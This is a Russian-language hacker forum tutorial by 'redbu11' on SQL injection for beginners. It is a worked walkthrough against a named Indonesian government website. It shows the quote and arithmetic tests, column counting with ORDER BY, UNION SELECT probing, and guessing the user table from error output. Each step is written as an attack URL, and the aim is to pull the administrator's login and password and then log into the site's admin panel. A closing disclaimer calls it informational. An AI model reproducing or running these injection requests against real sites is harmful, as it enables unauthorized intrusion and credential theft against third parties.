Привет хацкеры,кул хацкеры и новички!С вами redbu11.В этой статье пойдёт речь о такой уязвимости как
SQL injection.Я знаю что таких статей в инете немеряно,но всё-таки я напишу ещё одну статейку о
такой уязвимости.Я написал эту статью для тех у кого ещё не сформировалась идея о этой уязвимости,то
есть новичкам в этом деле.То что я буду рассказывать,совсем не новое,Так что расчитана для
новичков.Я думаю вы все знаете что такое SQL уязвимость,а если нет,то поищите в инете,там много про
это написано,просто если я щас начну объяснять что это такое в больших подробностях,то это займёт
много времени.И так приступим.))
Для обнаружения SQL инъекции я чаще всего пользуюсь манипулированием числовыми параметрами в GET
запросах.Вот например меня как-то заинтересовала такая ссылка:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
тут id=58 и есть числовой параметр.Итак,проверим её на уязвимость.В конец ссылки добавляем одиночную
кавычку '.
http://www.komnasfbpi.go.id/berita_eng.php?id=58'
И смотрим на результат.Опа!Страница загрузилась неправильно и выдала нам SQL ошибку:
Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'
Ура!Это и есть SQL уязвимость.Но чтобы убедиться что уязвимость действительно существует,проверим
ещё кое-что.ПЕреходим опять по адресу:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
И видим там страницу с заголовком "KOMNAS FBPI CONTINUES BIRD FLU CONTROL PROGRAM".Ок,теперь
перейдём на страничку "ниже",не на 58-ую а на 57-ую,то есть так:
http://www.komnasfbpi.go.id/berita_eng.php?id=57
И видим там страницу уже с другим заголовком "Air Batu Asahan Villagers Are Confirmed Bird Flu
Negative".Теперь переходим обратно на 58-ую страницу:
http://www.komnasfbpi.go.id/berita_eng.php?id=58
Теперь когда мы знаем что 58-ая страница имеет заголовок "KOMNAS FBPI CONTINUES BIRD FLU CONTROL
PROGRAM" а 57-ая имеет заголовок "Air Batu Asahan Villagers Are Confirmed Bird Flu Negative" то
проверим переменную "id" на уязвимость и составим такой запрос:
http://www.komnasfbpi.go.id/berita_eng.php?id=58-1/*
(Всегда закрываем символом /*)И смотрим на результат.В результате загрузилась не 58 а 57
страница.Ура!!!Уязвимость действительно есть!А что это значит?С предыдущим запросом мы попытались
выполнить простую арифметическую операцию,то есть 58-1,и сайт её не отвильтровал а выполнил,и в
результате мы получили 58-1=57,это означает что вместо этого мы можем вставить любой другой запрос
который нам будет более полезен.Мы сейчас будем пытаться вытащить с помощью этой уязвимости из базы
данных логин и пасс админа.И так,сначало нам надо выяснить сколько полей в базе данных.Я для этого
использую оператор "order+by".И так проверим сколько-же там полей используя order+by:
http://www.komnasfbpi.go.id/berita_eng. … er+by+30/*
На такой запрос нам выдалась ошибка,это означает что полей меньше чем 30.Пробуем так:
http://www.komnasfbpi.go.id/berita_eng. … er+by+20/*
На это нам тоже выдалась ошибка,значит полей меньше 20-и.Пробуем дальше:
http://www.komnasfbpi.go.id/berita_eng. … er+by+10/*
На это нам не выдалось никакой ошибки,это означает что полей или 10,или больше 10-и.Продалжаем в
этом-же духе пока не обнарушем верное количество полей:
http://www.komnasfbpi.go.id/berita_eng. … er+by+15/*
Страница снова загрузилась с ошибкой,это означает что полей меньше чем 15,пробуем так:
http://www.komnasfbpi.go.id/berita_eng. … er+by+14/*
Уряяя!Страница 14 загрузилась нормально,а 15-ая загружалась с ошибкой,это означает что полей
всего-лишь 14,это нам только наруку.Теперь зная что полей 14,посмотрим какое из них принтабельное,то
есть с помощью какого поле выводиться информация.Для этого нам нужно воспользоваться оператором
"union+select",составляем запрос,делаеться это так:
http://www.komnasfbpi.go.id/berita_eng. … 12,13,14/*
Смотрим на результат,когда страница загрузиться,прокручиваем страницу до самого низа,и мы увидим что
там отоброжаеться цифра 9,это означает что для вывода информации используеться 9-ое поле.
Ну вот теперь когда мы знаем что в базе только 14 полей и использутся 9-ое принтабельное,переходим к
следующему этапу,будем долбить базу данных и пробовать вытащить оттуда логип и пасс Админа.))Нам щас
нужно проверить существует ли в базе данных таблици с названием типа users,user,admin И т.д...Это
тоже делаеться с оператором union+select.Нам щас нужен логин и пасс админа,давайте начнём с
логина.Для того чтоб узнать логин,нам надо проверить существует ли в базе данных таблица с названием
name,или login,где и храниться логин.Теперь мы и будем проверять на наличие всех этих таблиц.Делаем
это как я уже говорил оператором union+select таким образом:
http://www.komnasfbpi.go.id/berita_eng. … 3,14+from+
users/*
Этим мы проверяем существует ли таблица users в базе данных,если такая существует,то страница
загрузиться без ошибки,а если такой нет,то загрузиться с ошибкой.Нам на это выдалась ошибка,значет
такой нет.Проверим есть ли таблица users:
http://www.komnasfbpi.go.id/berita_eng. … 3,14+user/
*
к сожалению и такой не оказалось,тоже нам на это выдалась ошибка...((Но не надо
расстраиваться!Многие админы используют префиксы перед названием таблицы.Теперь обратите внимание на
ту ошибку которая нам выводиться:
Open Database: Invalid query
SELECT * FROM tbl_berita where berita_id=57'
Посмотрите там на этот текст: tbl_berita
Тут используеться префикс tbl_ перед названием таблицы.Давайте проверим существует ли таблица user
используя этот префикс!Ок,делаем запрос:
http://www.komnasfbpi.go.id/berita_eng. … 3,14+tbl_u
ser/*
Есть!Ура!Страница загрузилась нормально,значит таблица tbl_user существует!Теперь попробуем достать
имя пользователя из таблицы tbl_user.Проверим,существует ли запись с названием name в таблицы
tbl_user.Это делаесть почти также,только в 9-ое поле вставляем слово name,этим мы и будем проверять
существует ли запись name в таблицы tbl_user.Этот запрос будет выглядеть так:
http://www.komnasfbpi.go.id/berita_eng. … 2,13,14+tb
l_user/*
Посмотрим что мы на это получем,А нам на это страница загрузилась нормально,значит есть
такая!Прокручиваем страничку в самый низ,и видим там запись "Administrator",Ураа!!У нас теперь есть
логин админа,осталось достать пасс.Пробуем:
http://www.komnasfbpi.go.id/berita_eng. … 11,12,13,1
4+tbl_user/*
На это нам страница загрузилась с ошибкой,это означает что нет записи password,пробум так:
http://www.komnasfbpi.go.id/berita_eng. … ,12,13,14+
tbl_user/*
На это тоже выдалась ошибка,,такой тоже нет((пробуем дальше:
http://www.komnasfbpi.go.id/berita_eng. … ,13,14+tbl
_user/*
Даа!Страница загрузилась без ошибки,и это значит что запись!!!Прокручиваем страницу в самый низ и
там мы видим пасс админа!!!Осталось его расшифровать и всё!!!
Потом переходим сюда http://www.komnasfbpi.go.id/admin вводим полученные данные,и всё,дальше всё
зависит от вашей фантазии!
Вот и всё,всё о чём бы я с вами хотел бы поделиться.Я описал просенькую SQL инъекцию.
ВНИМАНИЕ!Автор не несёт никакой ответственности за некорректное использование размещённой здесь
информации!Всё что здесь размещено,это не пробуждения к действию,а всего-лишь для ознакомительных
целей!